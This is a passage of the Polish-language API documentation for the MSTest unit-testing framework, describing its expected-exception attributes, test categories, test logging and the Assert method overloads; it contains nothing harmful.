określenia wewnętrznego błędu przypadku testowego - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Atrybut określający, że jest oczekiwany wyjątek określonego typu - - - - - Inicjuje nowe wystąpienie klasy z oczekiwanym typem - - Typ oczekiwanego wyjątku - - - - Inicjuje nowe wystąpienie klasy z - oczekiwanym typem i komunikatem do uwzględnienia, gdy test nie zgłasza żadnego wyjątku. - - Typ oczekiwanego wyjątku - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ nie zostanie zgłoszony wyjątek - - - - - Pobiera wartość wskazującą typ oczekiwanego wyjątku - - - - - Pobiera lub ustawia wartość wskazującą, czy typy pochodne typu oczekiwanego wyjątku - są traktowane jako oczekiwane - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Weryfikuje, czy typ wyjątku zgłoszonego przez test jednostkowy jest oczekiwany - - Wyjątek zgłoszony przez test jednostkowy - - - - Klasa podstawowa dla atrybutów, które określają, że jest oczekiwany wyjątek z testu jednostkowego - - - - - Inicjuje nowe wystąpienie klasy z domyślnym komunikatem o braku wyjątku - - - - - Inicjuje nowe wystąpienie klasy z komunikatem o braku wyjątku - - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ - nie zostanie zgłoszony wyjątek - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera domyślny komunikat bez wyjątku - - Nazwa typu atrybutu ExpectedException - Domyślny komunikat bez wyjątku - - - - Określa, czy wyjątek jest oczekiwany. Jeśli wykonanie metody zakończy się normalnie, oznacza to, - że wyjątek był oczekiwany. Jeśli metoda zgłosi wyjątek, oznacza to, - że wyjątek nie był oczekiwany, a komunikat zgłoszonego wyjątku - jest dołączony do wyniku testu. Klasy można użyć dla - wygody. Jeśli zostanie użyta klasa i asercja nie powiedzie się, - wynik testu zostanie ustawiony jako Niejednoznaczny. - - Wyjątek zgłoszony przez test jednostkowy - - - - Zgłoś ponownie wyjątek, jeśli jest to wyjątek AssertFailedException lub AssertInconclusiveException - - Wyjątek do ponownego zgłoszenia, jeśli jest to wyjątek asercji - - - - Ta klasa jest zaprojektowana w taki sposób, aby pomóc użytkownikowi wykonującemu testy jednostkowe dla typów używających typów ogólnych. - Element GenericParameterHelper zachowuje niektóre typowe ograniczenia typów ogólnych, - takie jak: - 1. publiczny konstruktor domyślny - 2. implementuje wspólny interfejs: IComparable, IEnumerable - - - - - Inicjuje nowe wystąpienie klasy , które - spełnia ograniczenie „newable” w typach ogólnych języka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicjuje nowe wystąpienie klasy , które - inicjuje właściwość Data wartością dostarczoną przez użytkownika. - - Dowolna liczba całkowita - - - - Pobiera lub ustawia element Data - - - - - Wykonuje porównanie wartości dwóch obiektów GenericParameterHelper - - obiekt, z którym ma zostać wykonane porównanie - Wartość true, jeśli obiekt ma tę samą wartość co obiekt „this” typu GenericParameterHelper. - W przeciwnym razie wartość false. - - - - Zwraca wartość skrótu tego obiektu. - - Kod skrótu. - - - - Porównuje dane dwóch obiektów . - - Obiekt do porównania. - - Liczba ze znakiem, która wskazuje wartości względne tego wystąpienia i wartości. - - - Thrown when the object passed in is not an instance of . - - - - - Zwraca obiekt IEnumerator, którego długość jest określona na podstawie - właściwości Data. - - Obiekt IEnumerator - - - - Zwraca obiekt GenericParameterHelper równy - bieżącemu obiektowi. - - Sklonowany obiekt. - - - - Umożliwia użytkownikom rejestrowanie/zapisywanie śladów z testów jednostek w celach diagnostycznych. - - - - - Procedura obsługi elementu LogMessage. - - Komunikat do zarejestrowania. - - - - Zdarzenie, które ma być nasłuchiwane. Zgłaszane, gdy składnik zapisywania testu jednostkowego zapisze jakiś komunikat. - Zwykle zużywane przez adapter. - - - - - Interfejs API składnika zapisywania testu do wywołania na potrzeby rejestrowania komunikatów. - - Format ciągu z symbolami zastępczymi. - Parametry dla symboli zastępczych. - - - - Atrybut TestCategory używany do określenia kategorii testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy i stosuje kategorię do testu. - - - Kategoria testu. - - - - - Pobiera kategorie testu, które zostały zastosowane do testu. - - - - - Klasa podstawowa atrybutu „Category” - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicjuje nowe wystąpienie klasy . - Stosuje kategorię do testu. Ciągi zwrócone przez element TestCategories - są używane w poleceniu /category do filtrowania testów - - - - - Pobiera kategorię testu, która została zastosowana do testu. - - - - - Klasa AssertFailedException. Używana do wskazania niepowodzenia przypadku testowego - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków w ramach - testów jednostkowych. Jeśli testowany warunek nie zostanie spełniony, zostanie zgłoszony - wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is true. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null. - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza 